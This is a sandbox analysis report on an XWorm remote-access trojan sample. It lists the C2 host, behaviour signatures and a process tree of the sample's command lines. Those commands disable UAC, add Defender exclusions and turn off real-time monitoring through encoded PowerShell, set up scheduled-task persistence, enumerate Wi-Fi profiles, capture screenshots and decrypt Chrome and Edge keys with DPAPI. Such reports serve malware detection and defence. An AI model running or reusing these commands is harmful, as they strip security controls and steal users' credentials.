Overview

overview

10

Static

static

3

2026-03-03...t_.exe

windows10-2004-x64

10

2026-03-03...t_.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    03/03/2026, 04:38

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
  • Size 36.0MB
  • Sample260303-e9r2lac18g
  • SHA256 3bc4f0923e2c5636126dc1beebcb056b6b6a22d4d350a3f86f7a4f9855d34039
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionxwormpersistenceprivilege_escalationratspywarestealertrojan

Malware Config

Extracted

Family

  • xworm

Version

  • XWorm V6.5 by c3lestial.fun

C2

  • ynvgx9hh15.localto.net:5380

Attributes
  • Install_directory

    %LocalAppData%

  • install_file

    XWormClient.exe

Signatures

  • Detect Xworm Payload 2 IoCs
  • UAC bypass 3 TTPs 4 IoCs
    defense_evasiontrojan
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Command and Scripting Interpreter: PowerShell 1 TTPs 17 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Drops startup file 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 8 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Collects information from the system 1 TTPs 1 IoCs

    Uses WMIC.exe to find detailed system information.

  • Kills process with taskkill 10 IoCs
    defense_evasion
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 35 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-03-03_a49be2131917614e5348df5b3169101f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
    1⤵
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3124
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_ALLOW_TOASTS_ABOVE_LOCK /t REG_DWORD /d 0 /f"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4936
      • C:\Windows\system32\reg.exe
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_ALLOW_TOASTS_ABOVE_LOCK /t REG_DWORD /d 0 /f
        3⤵
          PID:3680
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\PushNotifications" /v ToastEnabled /t REG_DWORD /d 0 /f"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4544
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\PushNotifications" /v ToastEnabled /t REG_DWORD /d 0 /f
          3⤵
            PID:4812
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4256
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
            3⤵
            • UAC bypass
            PID:4840
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5996
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
            3⤵
            • UAC bypass
            PID:4344
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:324
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f
            3⤵
            • UAC bypass
            PID:2788
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorUser /t REG_DWORD /d 0 /f"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3396
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorUser /t REG_DWORD /d 0 /f
            3⤵
            • UAC bypass
            PID:4276
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -NonI -W Hidden -Enc QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAnQzpcJw=="
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1348
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoP -NonI -W Hidden -Enc QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAnQzpcJw==
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4212
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -NonI -W Hidden -Enc U2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZyAkdHJ1ZQ=="
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2212
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoP -NonI -W Hidden -Enc U2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZyAkdHJ1ZQ==
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5096
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -NonI -W Hidden -Enc QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAnQzpcVXNlcnNcQWRtaW5cRG93bmxvYWRzXHNhYXNzYS5leGUn"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5596
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoP -NonI -W Hidden -Enc QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAnQzpcVXNlcnNcQWRtaW5cRG93bmxvYWRzXHNhYXNzYS5leGUn
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5140
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -W Hidden -Enc UmVtb3ZlLUl0ZW0gLVBhdGggJ0M6XFVzZXJzXEFkbWluXERvd25sb2Fkc1xzYWFzc2EuZXhlOlpvbmUuSWRlbnRpZmllcicgLUVBIFNpbGVudGx5Q29udGludWU="
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4804
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoP -W Hidden -Enc UmVtb3ZlLUl0ZW0gLVBhdGggJ0M6XFVzZXJzXEFkbWluXERvd25sb2Fkc1xzYWFzc2EuZXhlOlpvbmUuSWRlbnRpZmllcicgLUVBIFNpbGVudGx5Q29udGludWU=
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4092
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start /b "" "C:\Users\Admin\Downloads\saassa.exe""
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5368
          • C:\Windows\system32\cmd.exe
            cmd.exe /c start /b "" "C:\Users\Admin\Downloads\saassa.exe"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:6096
            • C:\Users\Admin\Downloads\saassa.exe
              "C:\Users\Admin\Downloads\saassa.exe"
              4⤵
              • Drops startup file
              • Executes dropped EXE
              • Adds Run key to start application
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:5896
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\saassa.exe'
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:6072
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'saassa.exe'
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:1076
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\XWormClient.exe'
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4752
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XWormClient.exe'
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:996
              • C:\Windows\System32\schtasks.exe
                "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XWormClient" /tr "C:\Users\Admin\AppData\Local\XWormClient.exe"
                5⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3620
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk get size,freespace,caption /format:csv"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2784
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic logicaldisk get size,freespace,caption /format:csv
            3⤵
            • Collects information from the system
            • Suspicious use of AdjustPrivilegeToken
            PID:748
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_videocontroller get caption /format:csv"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5424
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic path win32_videocontroller get caption /format:csv
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5536
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:csv"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5864
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:csv
            3⤵
              PID:2480
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "wmic product get name /format:csv"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5200
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic product get name /format:csv
              3⤵
                PID:3672
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
              2⤵
              • System Network Configuration Discovery: Wi-Fi Discovery
              • Suspicious use of WriteProcessMemory
              PID:3268
              • C:\Windows\system32\netsh.exe
                netsh wlan show profiles
                3⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Network Configuration Discovery: Wi-Fi Discovery
                PID:4552
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command " Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $screen = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bmp = New-Object System.Drawing.Bitmap($screen.Width, $screen.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen(0, 0, 0, 0, $bmp.Size); $bmp.Save('C:\\Users\\Admin\\AppData\\Local\\Temp\\ss_1772512758820.png'); $g.Dispose(); $bmp.Dispose(); ""
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3704
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -NoProfile -WindowStyle Hidden -Command " Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $screen = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bmp = New-Object System.Drawing.Bitmap($screen.Width, $screen.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen(0, 0, 0, 0, $bmp.Size); $bmp.Save('C:\\Users\\Admin\\AppData\\Local\\Temp\\ss_1772512758820.png'); $g.Dispose(); $bmp.Dispose(); "
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:5772
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,180,203,247,105,175,138,111,75,165,50,250,80,152,207,169,45,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,13,118,218,153,15,247,85,82,22,224,16,180,98,15,35,49,189,190,233,106,184,44,56,49,164,212,210,43,81,40,6,238,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,197,190,93,167,81,169,196,0,50,182,143,182,68,69,251,70,54,123,223,172,3,83,135,67,61,205,203,8,232,65,37,202,48,0,0,0,239,231,9,208,240,108,65,224,54,226,38,247,141,170,127,246,8,97,230,68,219,240,149,216,186,247,227,200,182,125,161,135,219,249,9,50,255,169,69,68,230,35,4,241,168,234,130,219,64,0,0,0,202,99,204,27,223,131,165,198,65,142,134,87,232,143,78,252,248,213,235,185,177,184,135,140,154,25,142,153,125,94,25,133,142,206,118,186,15,56,107,138,108,125,142,158,51,216,174,188,225,49,136,124,62,24,168,159,38,184,37,9,23,152,46,35), $null, 'CurrentUser')""
              2⤵
              • An obfuscated cmd.exe command-line is typically used to evade detection.
              • Suspicious use of WriteProcessMemory
              PID:1820
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,180,203,247,105,175,138,111,75,165,50,250,80,152,207,169,45,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,13,118,218,153,15,247,85,82,22,224,16,180,98,15,35,49,189,190,233,106,184,44,56,49,164,212,210,43,81,40,6,238,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,197,190,93,167,81,169,196,0,50,182,143,182,68,69,251,70,54,123,223,172,3,83,135,67,61,205,203,8,232,65,37,202,48,0,0,0,239,231,9,208,240,108,65,224,54,226,38,247,141,170,127,246,8,97,230,68,219,240,149,216,186,247,227,200,182,125,161,135,219,249,9,50,255,169,69,68,230,35,4,241,168,234,130,219,64,0,0,0,202,99,204,27,223,131,165,198,65,142,134,87,232,143,78,252,248,213,235,185,177,184,135,140,154,25,142,153,125,94,25,133,142,206,118,186,15,56,107,138,108,125,142,158,51,216,174,188,225,49,136,124,62,24,168,159,38,184,37,9,23,152,46,35), $null, 'CurrentUser')"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4964
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,180,203,247,105,175,138,111,75,165,50,250,80,152,207,169,45,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,196,180,165,129,34,89,44,95,9,205,176,175,144,48,14,29,43,42,215,115,217,88,99,114,204,220,208,163,177,220,96,237,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,147,2,188,114,83,70,155,43,68,223,88,38,111,184,178,39,91,117,48,137,196,110,185,139,199,180,99,59,172,66,63,103,48,0,0,0,184,142,215,68,99,112,88,7,108,140,225,92,237,138,56,227,114,91,243,83,237,93,147,198,138,156,244,49,188,91,243,80,0,96,127,95,137,95,227,102,130,149,207,57,90,25,76,71,64,0,0,0,104,155,68,29,33,109,150,205,214,180,142,37,215,34,28,225,145,221,95,9,253,230,146,160,187,179,26,106,148,210,48,114,126,92,102,47,86,46,166,54,54,98,68,252,207,237,215,79,89,52,39,44,244,206,205,46,44,238,226,200,210,171,116,222), $null, 'CurrentUser')""
              2⤵
              • An obfuscated cmd.exe command-line is typically used to evade detection.
              • Suspicious use of WriteProcessMemory
              PID:1412
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,180,203,247,105,175,138,111,75,165,50,250,80,152,207,169,45,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,196,180,165,129,34,89,44,95,9,205,176,175,144,48,14,29,43,42,215,115,217,88,99,114,204,220,208,163,177,220,96,237,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,147,2,188,114,83,70,155,43,68,223,88,38,111,184,178,39,91,117,48,137,196,110,185,139,199,180,99,59,172,66,63,103,48,0,0,0,184,142,215,68,99,112,88,7,108,140,225,92,237,138,56,227,114,91,243,83,237,93,147,198,138,156,244,49,188,91,243,80,0,96,127,95,137,95,227,102,130,149,207,57,90,25,76,71,64,0,0,0,104,155,68,29,33,109,150,205,214,180,142,37,215,34,28,225,145,221,95,9,253,230,146,160,187,179,26,106,148,210,48,114,126,92,102,47,86,46,166,54,54,98,68,252,207,237,215,79,89,52,39,44,244,206,205,46,44,238,226,200,210,171,116,222), $null, 'CurrentUser')"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:1576
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM discord.exe /T"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3000
              • C:\Windows\system32\taskkill.exe
                taskkill /F /IM discord.exe /T
                3⤵
                • Kills process with taskkill
                PID:1772
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM discordcanary.exe /T"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4136
              • C:\Windows\system32\taskkill.exe
                taskkill /F /IM discordcanary.exe /T
                3⤵
                • Kills process with taskkill
                PID:1904
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM discordptb.exe /T"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3160
              • C:\Windows\system32\taskkill.exe
                taskkill /F /IM discordptb.exe /T
                3⤵
                • Kills process with taskkill
                PID:5464
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM discorddevelopment.exe /T"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2744
              • C:\Windows\system32\taskkill.exe
                taskkill /F /IM discorddevelopment.exe /T
                3⤵
                • Kills process with taskkill
                PID:748
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:5548
              • C:\Windows\system32\taskkill.exe
                taskkill /F /IM chrome.exe /T
                3⤵
                • Kills process with taskkill
                PID:5076
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2992
              • C:\Windows\system32\taskkill.exe
                taskkill /F /IM msedge.exe /T
                3⤵
                • Kills process with taskkill
                PID:2080
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe /T"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4604
              • C:\Windows\system32\taskkill.exe
                taskkill /F /IM brave.exe /T
                3⤵
                • Kills process with taskkill
                PID:3448
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe /T"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:5136
              • C:\Windows\system32\taskkill.exe
                taskkill /F /IM vivaldi.exe /T
                3⤵
                • Kills process with taskkill
                PID:884
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM browser.exe /T"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4336
              • C:\Windows\system32\taskkill.exe
                taskkill /F /IM browser.exe /T
                3⤵
                • Kills process with taskkill
                PID:1532
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1652
              • C:\Windows\system32\taskkill.exe
                taskkill /F /IM opera.exe /T
                3⤵
                • Kills process with taskkill
                PID:5724
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,180,203,247,105,175,138,111,75,165,50,250,80,152,207,169,45,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,13,118,218,153,15,247,85,82,22,224,16,180,98,15,35,49,189,190,233,106,184,44,56,49,164,212,210,43,81,40,6,238,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,197,190,93,167,81,169,196,0,50,182,143,182,68,69,251,70,54,123,223,172,3,83,135,67,61,205,203,8,232,65,37,202,48,0,0,0,239,231,9,208,240,108,65,224,54,226,38,247,141,170,127,246,8,97,230,68,219,240,149,216,186,247,227,200,182,125,161,135,219,249,9,50,255,169,69,68,230,35,4,241,168,234,130,219,64,0,0,0,202,99,204,27,223,131,165,198,65,142,134,87,232,143,78,252,248,213,235,185,177,184,135,140,154,25,142,153,125,94,25,133,142,206,118,186,15,56,107,138,108,125,142,158,51,216,174,188,225,49,136,124,62,24,168,159,38,184,37,9,23,152,46,35), $null, 'CurrentUser')""
              2⤵
              • An obfuscated cmd.exe command-line is typically used to evade detection.
              PID:3312
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,180,203,247,105,175,138,111,75,165,50,250,80,152,207,169,45,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,13,118,218,153,15,247,85,82,22,224,16,180,98,15,35,49,189,190,233,106,184,44,56,49,164,212,210,43,81,40,6,238,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,197,190,93,167,81,169,196,0,50,182,143,182,68,69,251,70,54,123,223,172,3,83,135,67,61,205,203,8,232,65,37,202,48,0,0,0,239,231,9,208,240,108,65,224,54,226,38,247,141,170,127,246,8,97,230,68,219,240,149,216,186,247,227,200,182,125,161,135,219,249,9,50,255,169,69,68,230,35,4,241,168,234,130,219,64,0,0,0,202,99,204,27,223,131,165,198,65,142,134,87,232,143,78,252,248,213,235,185,177,184,135,140,154,25,142,153,125,94,25,133,142,206,118,186,15,56,107,138,108,125,142,158,51,216,174,188,225,49,136,124,62,24,168,159,38,184,37,9,23,152,46,35), $null, 'CurrentUser')"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:5828
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,180,203,247,105,175,138,111,75,165,50,250,80,152,207,169,45,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,196,180,165,129,34,89,44,95,9,205,176,175,144,48,14,29,43,42,215,115,217,88,99,114,204,220,208,163,177,220,96,237,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,147,2,188,114,83,70,155,43,68,223,88,38,111,184,178,39,91,117,48,137,196,110,185,139,199,180,99,59,172,66,63,103,48,0,0,0,184,142,215,68,99,112,88,7,108,140,225,92,237,138,56,227,114,91,243,83,237,93,147,198,138,156,244,49,188,91,243,80,0,96,127,95,137,95,227,102,130,149,207,57,90,25,76,71,64,0,0,0,104,155,68,29,33,109,150,205,214,180,142,37,215,34,28,225,145,221,95,9,253,230,146,160,187,179,26,106,148,210,48,114,126,92,102,47,86,46,166,54,54,98,68,252,207,237,215,79,89,52,39,44,244,206,205,46,44,238,226,200,210,171,116,222), $null, 'CurrentUser')""
              2⤵
              • An obfuscated cmd.exe command-line is typically used to evade detection.
              PID:4504
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
